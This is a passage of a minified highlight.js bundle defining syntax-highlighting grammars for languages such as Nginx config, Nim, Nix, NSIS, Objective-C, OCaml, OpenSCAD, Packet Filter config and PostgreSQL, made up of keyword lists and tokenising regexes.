return returning revoke right role rollback satisfies schema select self semi set show some start statistics string system then to transaction trigger truncate under union unique unknown unnest unset update upsert use user using validate value valued values via view when where while with within work xor",literal:"true false null missing|5",built_in:"array_agg array_append array_concat array_contains array_count array_distinct array_ifnull array_length array_max array_min array_position array_prepend array_put array_range array_remove array_repeat array_replace array_reverse array_sort array_sum avg count max min sum greatest least ifmissing ifmissingornull ifnull missingif nullif ifinf ifnan ifnanorinf naninf neginfif posinfif clock_millis clock_str date_add_millis date_add_str date_diff_millis date_diff_str date_part_millis date_part_str date_trunc_millis date_trunc_str duration_to_str millis str_to_millis millis_to_str millis_to_utc millis_to_zone_name now_millis now_str str_to_duration str_to_utc str_to_zone_name decode_json encode_json encoded_size poly_length base64 base64_encode base64_decode meta uuid abs acos asin atan atan2 ceil cos degrees e exp ln log floor pi power radians random round sign sin sqrt tan trunc object_length object_names object_pairs object_inner_pairs object_values object_inner_values object_add object_put object_remove object_unwrap regexp_contains regexp_like regexp_position regexp_replace contains initcap length lower ltrim position repeat replace rtrim split substr title trim upper isarray isatom isboolean isnumber isobject isstring type toarray toatom toboolean tonumber toobject tostring"},contains:[{className:"string",begin:"'",end:"'",contains:[A.BACKSLASH_ESCAPE]},{className:"string",begin:'"',end:'"',contains:[A.BACKSLASH_ESCAPE]},{className:"symbol",begin:"`",end:"`",contains:[A.BACKSLASH_ESCAPE],relevance:2},A.C_NUMBER_MODE,A.C_BLOCK_COMMENT_MODE]},A.C_BLOCK_COMMENT_MODE]}}E08.exports=Afq});var L08=v((rCz,C08)=>{function Kfq(A){let K={className:"variable",variants:[{begin:/\$\d+/},{begin:/\$\{/,end:/\}/},{begin:/[$@]/+A.UNDERSCORE_IDENT_RE}]},q={endsWithParent:!0,keywords:{$pattern:"[a-z/_]+",literal:"on off yes no true false none blocked debug info notice warn error crit select break last permanent redirect kqueue rtsig epoll poll /dev/poll"},relevance:0,illegal:"=>",contains:[A.HASH_COMMENT_MODE,{className:"string",contains:[A.BACKSLASH_ESCAPE,K],variants:[{begin:/"/,end:/"/},{begin:/'/,end:/'/}]},{begin:"([a-z]+):/",end:"\\s",endsWithParent:!0,excludeEnd:!0,contains:[K]},{className:"regexp",contains:[A.BACKSLASH_ESCAPE,K],variants:[{begin:"\\s\\^",end:"\\s|\\{|;",returnEnd:!0},{begin:"~\\*?\\s+",end:"\\s|\\{|;",returnEnd:!0},{begin:"\\*(\\.[a-z\\-]+)+"},{begin:"([a-z\\-]+\\.)+\\*"}]},{className:"number",begin:"\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}(:\\d{1,5})?\\b"},{className:"number",begin:"\\b\\d+[kKmMgGdshdwy]*\\b",relevance:0},K]};return{name:"Nginx config",aliases:["nginxconf"],contains:[A.HASH_COMMENT_MODE,{begin:A.UNDERSCORE_IDENT_RE+"\\s+\\{",returnBegin:!0,end:/\{/,contains:[{className:"section",begin:A.UNDERSCORE_IDENT_RE}],relevance:0},{begin:A.UNDERSCORE_IDENT_RE+"\\s",end:";|\\{",returnBegin:!0,contains:[{className:"attribute",begin:A.UNDERSCORE_IDENT_RE,starts:q}],relevance:0}],illegal:"[^\\s\\}]"}}C08.exports=Kfq});var y08=v((oCz,R08)=>{function qfq(A){return{name:"Nim",keywords:{keyword:"addr and as asm bind block break case cast const continue converter discard distinct div do elif else end enum except export finally for from func generic if import in include interface is isnot iterator let macro method mixin mod nil not notin object of or out proc ptr raise ref return shl shr static template try tuple type using var when while with without xor yield",literal:"shared guarded stdin stdout stderr result true false",built_in:"int int8 int16 int32 int64 uint uint8 uint16 uint32 uint64 float float32 float64 bool char string cstring pointer expr stmt void auto any range array openarray varargs seq set clong culong cchar cschar cshort cint csize clonglong cfloat cdouble clongdouble cuchar cushort cuint culonglong cstringarray semistatic"},contains:[{className:"meta",begin:/\{\./,end:/\.\}/,relevance:10},{className:"string",begin:/[a-zA-Z]\w*"/,end:/"/,contains:[{begin:/""/}]},{className:"string",begin:/([a-zA-Z]\w*)?"""/,end:/"""/},A.QUOTE_STRING_MODE,{className:"type",begin:/\b[A-Z]\w+\b/,relevance:0},{className:"number",relevance:0,variants:[{begin:/\b(0[xX][0-9a-fA-F][_0-9a-fA-F]*)('?[iIuU](8|16|32|64))?/},{begin:/\b(0o[0-7][_0-7]*)('?[iIuUfF](8|16|32|64))?/},{begin:/\b(0(b|B)[01][_01]*)('?[iIuUfF](8|16|32|64))?/},{begin:/\b(\d[_\d]*)('?[iIuUfF](8|16|32|64))?/}]},A.HASH_COMMENT_MODE]}}R08.exports=qfq});var S08=v((aCz,I08)=>{function Yfq(A){let K={keyword:"rec with let in inherit assert if else then",literal:"true false or and null",built_in:"import abort baseNameOf dirOf isNull builtins map removeAttrs throw toString derivation"},q={className:"subst",begin:/\$\{/,end:/\}/,keywords:K},Y={begin:/[a-zA-Z0-9-_]+(\s*=)/,returnBegin:!0,relevance:0,contains:[{className:"attr",begin:/\S+/}]},z={className:"string",contains:[q],variants:[{begin:"''",end:"''"},{begin:'"',end:'"'}]},w=[A.NUMBER_MODE,A.HASH_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,z,Y];return q.contains=w,{name:"Nix",aliases:["nixos"],keywords:K,contains:w}}I08.exports=Yfq});var b08=v((sCz,h08)=>{function zfq(A){return{name:"Node REPL",contains:[{className:"meta",starts:{end:/ |$/,starts:{end:"$",subLanguage:"javascript"}},variants:[{begin:/^>(?=[ ]|$)/},{begin:/^\.\.\.(?=[ ]|$)/}]}]}}h08.exports=zfq});var u08=v((tCz,x08)=>{function wfq(A){let K={className:"variable",begin:/\$(ADMINTOOLS|APPDATA|CDBURN_AREA|CMDLINE|COMMONFILES32|COMMONFILES64|COMMONFILES|COOKIES|DESKTOP|DOCUMENTS|EXEDIR|EXEFILE|EXEPATH|FAVORITES|FONTS|HISTORY|HWNDPARENT|INSTDIR|INTERNET_CACHE|LANGUAGE|LOCALAPPDATA|MUSIC|NETHOOD|OUTDIR|PICTURES|PLUGINSDIR|PRINTHOOD|PROFILE|PROGRAMFILES32|PROGRAMFILES64|PROGRAMFILES|QUICKLAUNCH|RECENT|RESOURCES_LOCALIZED|RESOURCES|SENDTO|SMPROGRAMS|SMSTARTUP|STARTMENU|SYSDIR|TEMP|TEMPLATES|VIDEOS|WINDIR)/},q={className:"variable",begin:/\$+\{[\w.:-]+\}/},Y={className:"variable",begin:/\$+\w+/,illegal:/\(\)\{\}/},z={className:"variable",begin:/\$+\([\w^.:-]+\)/},w={className:"params",begin:"(ARCHIVE|FILE_ATTRIBUTE_ARCHIVE|FILE_ATTRIBUTE_NORMAL|FILE_ATTRIBUTE_OFFLINE|FILE_ATTRIBUTE_READONLY|FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_TEMPORARY|HKCR|HKCU|HKDD|HKEY_CLASSES_ROOT|HKEY_CURRENT_CONFIG|HKEY_CURRENT_USER|HKEY_DYN_DATA|HKEY_LOCAL_MACHINE|HKEY_PERFORMANCE_DATA|HKEY_USERS|HKLM|HKPD|HKU|IDABORT|IDCANCEL|IDIGNORE|IDNO|IDOK|IDRETRY|IDYES|MB_ABORTRETRYIGNORE|MB_DEFBUTTON1|MB_DEFBUTTON2|MB_DEFBUTTON3|MB_DEFBUTTON4|MB_ICONEXCLAMATION|MB_ICONINFORMATION|MB_ICONQUESTION|MB_ICONSTOP|MB_OK|MB_OKCANCEL|MB_RETRYCANCEL|MB_RIGHT|MB_RTLREADING|MB_SETFOREGROUND|MB_TOPMOST|MB_USERICON|MB_YESNO|NORMAL|OFFLINE|READONLY|SHCTX|SHELL_CONTEXT|SYSTEM|TEMPORARY)"},H={className:"keyword",begin:/!(addincludedir|addplugindir|appendfile|cd|define|delfile|echo|else|endif|error|execute|finalize|getdllversion|gettlbversion|if|ifdef|ifmacrodef|ifmacrondef|ifndef|include|insertmacro|macro|macroend|makensis|packhdr|searchparse|searchreplace|system|tempfile|undef|verbose|warning)/},J={className:"meta",begin:/\$(\\[nrt]|\$)/},O={className:"class",begin:/\w+::\w+/},X={className:"string",variants:[{begin:'"',end:'"'},{begin:"'",end:"'"},{begin:"`",end:"`"}],illegal:/\n/,contains:[J,K,q,Y,z]};return{name:"NSIS",case_insensitive:!1,keywords:{keyword:"Abort AddBrandingImage AddSize AllowRootDirInstall AllowSkipFiles AutoCloseWindow BGFont BGGradient BrandingText BringToFront Call CallInstDLL Caption ChangeUI CheckBitmap ClearErrors CompletedText ComponentText CopyFiles CRCCheck CreateDirectory CreateFont CreateShortCut Delete DeleteINISec DeleteINIStr DeleteRegKey DeleteRegValue DetailPrint DetailsButtonText DirText DirVar DirVerify EnableWindow EnumRegKey EnumRegValue Exch Exec ExecShell ExecShellWait ExecWait ExpandEnvStrings File FileBufSize FileClose FileErrorText FileOpen FileRead FileReadByte FileReadUTF16LE FileReadWord FileWriteUTF16LE FileSeek FileWrite FileWriteByte FileWriteWord FindClose FindFirst FindNext FindWindow FlushINI GetCurInstType GetCurrentAddress GetDlgItem GetDLLVersion GetDLLVersionLocal GetErrorLevel GetFileTime GetFileTimeLocal GetFullPathName GetFunctionAddress GetInstDirError GetKnownFolderPath GetLabelAddress GetTempFileName Goto HideWindow Icon IfAbort IfErrors IfFileExists IfRebootFlag IfRtlLanguage IfShellVarContextAll IfSilent InitPluginsDir InstallButtonText InstallColors InstallDir InstallDirRegKey InstProgressFlags InstType InstTypeGetText InstTypeSetText Int64Cmp Int64CmpU Int64Fmt IntCmp IntCmpU IntFmt IntOp IntPtrCmp IntPtrCmpU IntPtrOp IsWindow LangString LicenseBkColor LicenseData LicenseForceSelection LicenseLangString LicenseText LoadAndSetImage LoadLanguageFile LockWindow LogSet LogText ManifestDPIAware ManifestLongPathAware ManifestMaxVersionTested ManifestSupportedOS MessageBox MiscButtonText Name Nop OutFile Page PageCallbacks PEAddResource PEDllCharacteristics PERemoveResource PESubsysVer Pop Push Quit ReadEnvStr ReadINIStr ReadRegDWORD ReadRegStr Reboot RegDLL Rename RequestExecutionLevel ReserveFile Return RMDir SearchPath SectionGetFlags SectionGetInstTypes SectionGetSize SectionGetText SectionIn SectionSetFlags SectionSetInstTypes SectionSetSize SectionSetText SendMessage SetAutoClose SetBrandingImage SetCompress SetCompressor SetCompressorDictSize SetCtlColors SetCurInstType SetDatablockOptimize SetDateSave SetDetailsPrint SetDetailsView SetErrorLevel SetErrors SetFileAttributes SetFont SetOutPath SetOverwrite SetRebootFlag SetRegView SetShellVarContext SetSilent ShowInstDetails ShowUninstDetails ShowWindow SilentInstall SilentUnInstall Sleep SpaceTexts StrCmp StrCmpS StrCpy StrLen SubCaption Unicode UninstallButtonText UninstallCaption UninstallIcon UninstallSubCaption UninstallText UninstPage UnRegDLL Var VIAddVersionKey VIFileVersion VIProductVersion WindowIcon WriteINIStr WriteRegBin WriteRegDWORD WriteRegExpandStr WriteRegMultiStr WriteRegNone WriteRegStr WriteUninstaller XPStyle",literal:"admin all auto both bottom bzip2 colored components current custom directory false force hide highest ifdiff ifnewer instfiles lastused leave left license listonly lzma nevershow none normal notset off on open print right show silent silentlog smooth textonly top true try un.components un.custom un.directory un.instfiles un.license uninstConfirm user Win10 Win7 Win8 WinVista zlib"},contains:[A.HASH_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.COMMENT(";","$",{relevance:0}),{className:"function",beginKeywords:"Function PageEx Section SectionGroup",end:"$"},X,H,q,Y,z,w,O,A.NUMBER_MODE]}}x08.exports=wfq});var m08=v((eCz,B08)=>{function Hfq(A){let K={className:"built_in",begin:"\\b(AV|CA|CF|CG|CI|CL|CM|CN|CT|MK|MP|MTK|MTL|NS|SCN|SK|UI|WK|XC)\\w+"},q=/[a-zA-Z@][a-zA-Z0-9_]*/,Y={$pattern:q,keyword:"int float while char export sizeof typedef const struct for union unsigned long volatile static bool mutable if do return goto void enum else break extern asm case short default double register explicit signed typename this switch continue wchar_t inline readonly assign readwrite self @synchronized id typeof nonatomic super unichar IBOutlet IBAction strong weak copy in out inout bycopy byref oneway __strong __weak __block __autoreleasing @private @protected @public @try @property @end @throw @catch @finally @autoreleasepool @synthesize @dynamic @selector @optional @required @encode @package @import @defs @compatibility_alias __bridge __bridge_transfer __bridge_retained __bridge_retain __covariant __contravariant __kindof _Nonnull _Nullable _Null_unspecified __FUNCTION__ __PRETTY_FUNCTION__ __attribute__ getter setter retain unsafe_unretained nonnull nullable null_unspecified null_resettable class instancetype NS_DESIGNATED_INITIALIZER NS_UNAVAILABLE NS_REQUIRES_SUPER NS_RETURNS_INNER_POINTER NS_INLINE NS_AVAILABLE NS_DEPRECATED NS_ENUM NS_OPTIONS NS_SWIFT_UNAVAILABLE NS_ASSUME_NONNULL_BEGIN NS_ASSUME_NONNULL_END NS_REFINED_FOR_SWIFT NS_SWIFT_NAME NS_SWIFT_NOTHROW NS_DURING NS_HANDLER NS_ENDHANDLER NS_VALUERETURN NS_VOIDRETURN",literal:"false true FALSE TRUE nil YES NO NULL",built_in:"BOOL dispatch_once_t dispatch_queue_t dispatch_sync dispatch_async dispatch_once"},z={$pattern:q,keyword:"@interface @class @protocol @implementation"};return{name:"Objective-C",aliases:["mm","objc","obj-c","obj-c++","objective-c++"],keywords:Y,illegal:"</",contains:[K,A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.C_NUMBER_MODE,A.QUOTE_STRING_MODE,A.APOS_STRING_MODE,{className:"string",variants:[{begin:'@"',end:'"',illegal:"\\n",contains:[A.BACKSLASH_ESCAPE]}]},{className:"meta",begin:/#\s*[a-z]+\b/,end:/$/,keywords:{"meta-keyword":"if else elif endif define undef warning error line pragma ifdef ifndef include"},contains:[{begin:/\\\n/,relevance:0},A.inherit(A.QUOTE_STRING_MODE,{className:"meta-string"}),{className:"meta-string",begin:/<.*?>/,end:/$/,illegal:"\\n"},A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE]},{className:"class",begin:"("+z.keyword.split(" ").join("|")+")\\b",end:/(\{|$)/,excludeEnd:!0,keywords:z,contains:[A.UNDERSCORE_TITLE_MODE]},{begin:"\\."+A.UNDERSCORE_IDENT_RE,relevance:0}]}}B08.exports=Hfq});var F08=v((ALz,g08)=>{function Jfq(A){return{name:"OCaml",aliases:["ml"],keywords:{$pattern:"[a-z_]\\w*!?",keyword:"and as assert asr begin class constraint do done downto else end exception external for fun function functor if in include inherit! inherit initializer land lazy let lor lsl lsr lxor match method!|10 method mod module mutable new object of open! open or private rec sig struct then to try type val! val virtual when while with parser value",built_in:"array bool bytes char exn|5 float int int32 int64 list lazy_t|5 nativeint|5 string unit in_channel out_channel ref",literal:"true false"},illegal:/\/\/|>>/,contains:[{className:"literal",begin:"\\[(\\|\\|)?\\]|\\(\\)",relevance:0},A.COMMENT("\\(\\*","\\*\\)",{contains:["self"]}),{className:"symbol",begin:"'[A-Za-z_](?!')[\\w']*"},{className:"type",begin:"`[A-Z][\\w']*"},{className:"type",begin:"\\b[A-Z][\\w']*",relevance:0},{begin:"[a-z_]\\w*'[\\w']*",relevance:0},A.inherit(A.APOS_STRING_MODE,{className:"string",relevance:0}),A.inherit(A.QUOTE_STRING_MODE,{illegal:null}),{className:"number",begin:"\\b(0[xX][a-fA-F0-9_]+[Lln]?|0[oO][0-7_]+[Lln]?|0[bB][01_]+[Lln]?|[0-9][0-9_]*([Lln]|(\\.[0-9_]*)?([eE][-+]?[0-9_]+)?)?)",relevance:0},{begin:/->/}]}}g08.exports=Jfq});var U08=v((KLz,Q08)=>{function Ofq(A){let K={className:"keyword",begin:"\\$(f[asn]|t|vp[rtd]|children)"},q={className:"literal",begin:"false|true|PI|undef"},Y={className:"number",begin:"\\b\\d+(\\.\\d+)?(e-?\\d+)?",relevance:0},z=A.inherit(A.QUOTE_STRING_MODE,{illegal:null}),w={className:"meta",keywords:{"meta-keyword":"include use"},begin:"include|use <",end:">"},H={className:"params",begin:"\\(",end:"\\)",contains:["self",Y,z,K,q]},J={begin:"[*!#%]",relevance:0},O={className:"function",beginKeywords:"module function",end:/=|\{/,contains:[H,A.UNDERSCORE_TITLE_MODE]};return{name:"OpenSCAD",aliases:["scad"],keywords:{keyword:"function module include use for intersection_for if else \\%",literal:"false true PI undef",built_in:"circle square polygon text sphere cube cylinder polyhedron translate rotate scale resize mirror multmatrix color offset hull minkowski union difference intersection abs sign sin cos tan acos asin atan atan2 floor round ceil ln log pow sqrt exp rands min max concat lookup str chr search version version_num norm cross parent_module echo import import_dxf dxf_linear_extrude linear_extrude rotate_extrude surface projection render children dxf_cross dxf_dim let assign"},contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,Y,w,z,K,J,O]}}Q08.exports=Ofq});var d08=v((qLz,p08)=>{function Xfq(A){let K={$pattern:/\.?\w+/,keyword:"abstract add and array as asc aspect assembly async begin break block by case class concat const copy constructor continue create default delegate desc distinct div do downto dynamic each else empty end ensure enum equals event except exit extension external false final finalize finalizer finally flags for forward from function future global group has if implementation implements implies in index inherited inline interface into invariants is iterator join locked locking loop matching method mod module namespace nested new nil not notify nullable of old on operator or order out override parallel params partial pinned private procedure property protected public queryable raise read readonly record reintroduce remove repeat require result reverse sealed select self sequence set shl shr skip static step soft take then to true try tuple type union unit unsafe until uses using var virtual raises volatile where while with write xor yield await mapped deprecated stdcall cdecl pascal register safecall overload library platform reference packed strict published autoreleasepool selector strong weak unretained"},q=A.COMMENT(/\{/,/\}/,{relevance:0}),Y=A.COMMENT("\\(\\*","\\*\\)",{relevance:10}),z={className:"string",begin:"'",end:"'",contains:[{begin:"''"}]},w={className:"string",begin:"(#\\d+)+"},H={className:"function",beginKeywords:"function constructor destructor procedure method",end:"[:;]",keywords:"function constructor|10 destructor|10 procedure|10 method|10",contains:[A.TITLE_MODE,{className:"params",begin:"\\(",end:"\\)",keywords:K,contains:[z,w]},q,Y]};return{name:"Oxygene",case_insensitive:!0,keywords:K,illegal:'("|\\$[G-Zg-z]|\\/\\*|</|=>|->)',contains:[q,Y,A.C_LINE_COMMENT_MODE,z,w,A.NUMBER_MODE,H,{className:"class",begin:"=\\bclass\\b",end:"end;",keywords:K,contains:[z,w,q,Y,A.C_LINE_COMMENT_MODE,H]}]}}p08.exports=Xfq});var l08=v((YLz,c08)=>{function $fq(A){let K=A.COMMENT(/\{/,/\}/,{contains:["self"]});return{name:"Parser3",subLanguage:"xml",relevance:0,contains:[A.COMMENT("^#","$"),A.COMMENT(/\^rem\{/,/\}/,{relevance:10,contains:[K]}),{className:"meta",begin:"^@(?:BASE|USE|CLASS|OPTIONS)$",relevance:10},{className:"title",begin:"@[\\w\\-]+\\[[\\w^;\\-]*\\](?:\\[[\\w^;\\-]*\\])?(?:.*)$"},{className:"variable",begin:/\$\{?[\w\-.:]+\}?/},{className:"keyword",begin:/\^[\w\-.:]+/},{className:"number",begin:"\\^#[0-9a-fA-F]+"},A.C_NUMBER_MODE]}}c08.exports=$fq});var n08=v((zLz,i08)=>{function _fq(A){let K={className:"variable",begin:/\$[\w\d#@][\w\d_]*/},q={className:"variable",begin:/<(?!\/)/,end:/>/};return{name:"Packet Filter config",aliases:["pf.conf"],keywords:{$pattern:/[a-z0-9_<>-]+/,built_in:"block match pass load anchor|5 antispoof|10 set table",keyword:"in out log quick on rdomain inet inet6 proto from port os to route allow-opts divert-packet divert-reply divert-to flags group icmp-type icmp6-type label once probability recieved-on rtable prio queue tos tag tagged user keep fragment for os drop af-to|10 binat-to|10 nat-to|10 rdr-to|10 bitmask least-stats random round-robin source-hash static-port dup-to reply-to route-to parent bandwidth default min max qlimit block-policy debug fingerprints hostid limit loginterface optimization reassemble ruleset-optimization basic none profile skip state-defaults state-policy timeout const counters persist no modulate synproxy state|5 floating if-bound no-sync pflow|10 sloppy source-track global rule max-src-nodes max-src-states max-src-conn max-src-conn-rate overload flush scrub|5 max-mss min-ttl no-df|10 random-id",literal:"all any no-route self urpf-failed egress|5 unknown"},contains:[A.HASH_COMMENT_MODE,A.NUMBER_MODE,A.QUOTE_STRING_MODE,K,q]}}i08.exports=_fq});var o08=v((wLz,r08)=>{function Gfq(A){let K=A.COMMENT("--","$"),q="[a-zA-Z_][a-zA-Z_0-9$]*",Y="\\$([a-zA-Z_]?|[a-zA-Z_][a-zA-Z_0-9]*)\\$",z="<<\\s*[a-zA-Z_][a-zA-Z_0-9$]*\\s*>>",w="ABORT ALTER ANALYZE BEGIN CALL CHECKPOINT|10 CLOSE CLUSTER COMMENT COMMIT COPY CREATE DEALLOCATE DECLARE DELETE DISCARD DO DROP END EXECUTE EXPLAIN FETCH GRANT IMPORT INSERT LISTEN LOAD LOCK MOVE NOTIFY PREPARE REASSIGN|10 REFRESH REINDEX RELEASE RESET REVOKE ROLLBACK SAVEPOINT SECURITY SELECT SET SHOW START TRUNCATE UNLISTEN|10 UPDATE VACUUM|10 VALUES AGGREGATE COLLATION CONVERSION|10 DATABASE DEFAULT PRIVILEGES DOMAIN TRIGGER EXTENSION FOREIGN WRAPPER|10 TABLE FUNCTION GROUP LANGUAGE LARGE OBJECT MATERIALIZED VIEW OPERATOR CLASS FAMILY POLICY PUBLICATION|10 ROLE RULE SCHEMA SEQUENCE SERVER STATISTICS SUBSCRIPTION SYSTEM TABLESPACE CONFIGURATION DICTIONARY PARSER TEMPLATE TYPE USER MAPPING PREPARED ACCESS METHOD CAST AS TRANSFORM TRANSACTION OWNED TO INTO SESSION AUTHORIZATION INDEX PROCEDURE ASSERTION ALL ANALYSE AND ANY ARRAY ASC ASYMMETRIC|10 BOTH CASE CHECK COLLATE COLUMN CONCURRENTLY|10 CONSTRAINT CROSS DEFERRABLE RANGE DESC DISTINCT ELSE EXCEPT FOR FREEZE|10 FROM FULL HAVING ILIKE IN INITIALLY INNER INTERSECT IS ISNULL JOIN LATERAL LEADING LIKE LIMIT NATURAL NOT NOTNULL NULL OFFSET ON ONLY OR ORDER OUTER OVERLAPS PLACING PRIMARY REFERENCES RETURNING SIMILAR SOME SYMMETRIC TABLESAMPLE THEN TRAILING UNION UNIQUE USING VARIADIC|10 VERBOSE WHEN WHERE WINDOW WITH BY RETURNS INOUT OUT SETOF|10 IF STRICT CURRENT CONTINUE OWNER LOCATION OVER PARTITION WITHIN BETWEEN ESCAPE EXTERNAL INVOKER DEFINER WORK RENAME VERSION CONNECTION CONNECT TABLES TEMP TEMPORARY FUNCTIONS SEQUENCES TYPES SCHEMAS OPTION CASCADE RESTRICT ADD ADMIN EXISTS VALID VALIDATE ENABLE DISABLE REPLICA|10 ALWAYS PASSING COLUMNS PATH REF VALUE OVERRIDING IMMUTABLE STABLE VOLATILE BEFORE AFTER EACH ROW PROCEDURAL ROUTINE NO HANDLER VALIDATOR OPTIONS STORAGE OIDS|10 WITHOUT INHERIT DEPENDS CALLED INPUT LEAKPROOF|10 COST ROWS NOWAIT SEARCH UNTIL ENCRYPTED|10 PASSWORD CONFLICT|10 INSTEAD INHERITS CHARACTERISTICS WRITE CURSOR ALSO STATEMENT SHARE EXCLUSIVE INLINE ISOLATION REPEATABLE READ COMMITTED SERIALIZABLE UNCOMMITTED LOCAL GLOBAL SQL PROCEDURES RECURSIVE SNAPSHOT ROLLUP CUBE TRUSTED|10 INCLUDE FOLLOWING PRECEDING UNBOUNDED RANGE GROUPS UNENCRYPTED|10 SYSID FORMAT DELIMITER HEADER QUOTE ENCODING FILTER OFF FORCE_QUOTE FORCE_NOT_NULL FORCE_NULL COSTS BUFFERS TIMING SUMMARY DISABLE_PAGE_SKIPPING RESTART CYCLE GENERATED IDENTITY DEFERRED IMMEDIATE LEVEL LOGGED UNLOGGED OF NOTHING NONE EXCLUDE ATTRIBUTE USAGE ROUTINES TRUE FALSE NAN INFINITY ",H="SUPERUSER NOSUPERUSER CREATEDB NOCREATEDB CREATEROLE NOCREATEROLE INHERIT NOINHERIT LOGIN NOLOGIN REPLICATION NOREPLICATION BYPASSRLS NOBYPASSRLS ",J="ALIAS BEGIN CONSTANT DECLARE END EXCEPTION RETURN PERFORM|10 RAISE GET DIAGNOSTICS STACKED|10 FOREACH LOOP ELSIF EXIT WHILE REVERSE SLICE DEBUG LOG INFO NOTICE WARNING ASSERT OPEN ",O="BIGINT INT8 BIGSERIAL SERIAL8 BIT VARYING VARBIT BOOLEAN BOOL BOX BYTEA CHARACTER CHAR VARCHAR CIDR CIRCLE DATE DOUBLE PRECISION FLOAT8 FLOAT INET INTEGER INT INT4 INTERVAL JSON JSONB LINE LSEG|10 MACADDR MACADDR8 MONEY NUMERIC DEC DECIMAL PATH POINT POLYGON REAL FLOAT4 SMALLINT INT2 SMALLSERIAL|10 SERIAL2|10 SERIAL|10 SERIAL4|10 TEXT TIME ZONE TIMETZ|10 TIMESTAMP TIMESTAMPTZ|10 TSQUERY|10 TSVECTOR|10 TXID_SNAPSHOT|10 UUID XML NATIONAL NCHAR INT4RANGE|10 INT8RANGE|10 NUMRANGE|10 TSRANGE|10 TSTZRANGE|10 DATERANGE|10 ANYELEMENT ANYARRAY ANYNONARRAY ANYENUM ANYRANGE CSTRING INTERNAL RECORD PG_DDL_COMMAND VOID UNKNOWN OPAQUE REFCURSOR NAME OID REGPROC|10 REGPROCEDURE|10 REGOPER|10 REGOPERATOR|10 REGCLASS|10 REGTYPE|10 REGROLE|10 REGNAMESPACE|10 REGCONFIG|10 REGDICTIONARY|10 ",X=O.trim().split(" ").map(function(D){return D.split("|")[0]}).join("|"),$="CURRENT_TIME CURRENT_TIMESTAMP CURRENT_USER CURRENT_CATALOG|10 CURRENT_DATE LOCALTIME LOCALTIMESTAMP CURRENT_ROLE|10 CURRENT_SCHEMA|10 SESSION_USER PUBLIC ",_="FOUND NEW OLD TG_NAME|10 TG_WHEN|10 TG_LEVEL|10 TG_OP|10 TG_RELID|10 TG_RELNAME|10 TG_TABLE_NAME|10 TG_TABLE_SCHEMA|10 TG_NARGS|10 TG_ARGV|10 TG_EVENT|10 TG_TAG|10 ROW_COUNT RESULT_OID|10 PG_CONTEXT|10 RETURNED_SQLSTATE COLUMN_NAME CONSTRAINT_NAME PG_DATATYPE_NAME|10 MESSAGE_TEXT TABLE_NAME SCHEMA_NAME PG_EXCEPTION_DETAIL|10 PG_EXCEPTION_HINT|10 PG_EXCEPTION_CONTEXT|10 ",G="SQLSTATE SQLERRM|10 SUCCESSFUL_COMPLETION WARNING DYNAMIC_RESULT_SETS_RETURNED IMPLICIT_ZERO_BIT_PADDING NULL_VALUE_ELIMINATED_IN_SET_FUNCTION PRIVILEGE_NOT_GRANTED PRIVILEGE_NOT_REVOKED STRING_DATA_RIGHT_TRUNCATION DEPRECATED_FEATURE NO_DATA NO_ADDITIONAL_DYNAMIC_RESULT_SETS_RETURNED SQL_STATEMENT_NOT_YET_COMPLETE CONNECTION_EXCEPTION CONNECTION_DOES_NOT_EXIST CONNECTION_FAILURE SQLCLIENT_UNABLE_TO_ESTABLISH_SQLCONNECTION SQLSERVER_REJECTED_ESTABLISHMENT_OF_SQLCONNECTION TRANSACTION_RESOLUTION_UNKNOWN PROTOCOL_VIOLATION TRIGGERED_ACTION_EXCEPTION FEATURE_NOT_SUPPORTED INVALID_TRANSACTION_INITIATION LOCATOR_EXCEPTION INVALID_LOCATOR_SPECIFICATION INVALID_GRANTOR INVALID_GRANT_OPERATION INVALID_ROLE_SPECIFICATION DIAGNOSTICS_EXCEPTION STACKED_DIAGNOSTICS_ACCESSED_WITHOUT_ACTIVE_HANDLER CASE_NOT_FOUND CARDINALITY_VIOLATION DATA_EXCEPTION ARRAY_SUBSCRIPT_ERROR CHARACTER_NOT_IN_REPERTOIRE DATETIME_FIELD_OVERFLOW DIVISION_BY_ZERO ERROR_IN_ASSIGNMENT ESCAPE_CHARACTER_CONFLICT INDICATOR_OVERFLOW INTERVAL_FIELD_OVERFLOW INVALID_ARGUMENT_FOR_LOGARITHM INVALID_ARGUMENT_FOR_NTILE_FUNCTION INVALID_ARGUMENT_FOR_NTH_VALUE_FUNCTION INVALID_ARGUMENT_FOR_POWER_FUNCTION INVALID_ARGUMENT_FOR_WIDTH_BUCKET_FUNCTION INVALID_CHARACTER_VALUE_FOR_CAST INVALID_DATETIME_FORMAT INVALID_ESCAPE_CHARACTER INVALID_ESCAPE_OCTET INVALID_ESCAPE_SEQUENCE NONSTANDARD_USE_OF_ESCAPE_CHARACTER INVALID_INDICATOR_PARAMETER_VALUE INVALID_PARAMETER_VALUE INVALID_REGULAR_EXPRESSION INVALID_ROW_COUNT_IN_LIMIT_CLAUSE INVALID_ROW_COUNT_IN_RESULT_OFFSET_CLAUSE INVALID_TABLESAMPLE_ARGUMENT INVALID_TABLESAMPLE_REPEAT INVALID_TIME_ZONE_DISPLACEMENT_VALUE INVALID_USE_OF_ESCAPE_CHARACTER MOST_SPECIFIC_TYPE_MISMATCH NULL_VALUE_NOT_ALLOWED NULL_VALUE_NO_INDICATOR_PARAMETER NUMERIC_VALUE_OUT_OF_RANGE SEQUENCE_GENERATOR_LIMIT_EXCEEDED STRING_DATA_LENGTH_MISMATCH STRING_DATA_RIGHT_TRUNCATION SUBSTRING_ERROR TRIM_ERROR UNTERMINATED_C_STRING ZERO_LENGTH_CHARACTER_STRING FLOATING_POINT_EXCEPTION INVALID_TEXT_REPRESENTATION INVALID_BINARY_REPRESENTATION BAD_COPY_FILE_FORMAT UNTRANSLATABLE_CHARACTER NOT_AN_XML_DOCUMENT INVALID_XML_DOCUMENT INVALID_XML_CONTENT INVALID_XML_COMMENT INVALID_XML_PROCESSING_INSTRUCTION INTEGRITY_CONSTRAINT_VIOLATION RESTRICT_VIOLATION NOT_NULL_VIOLATION FOREIGN_KEY_VIOLATION UNIQUE_VIOLATION CHECK_VIOLATION EXCLUSION_VIOLATION INVALID_CURSOR_STATE 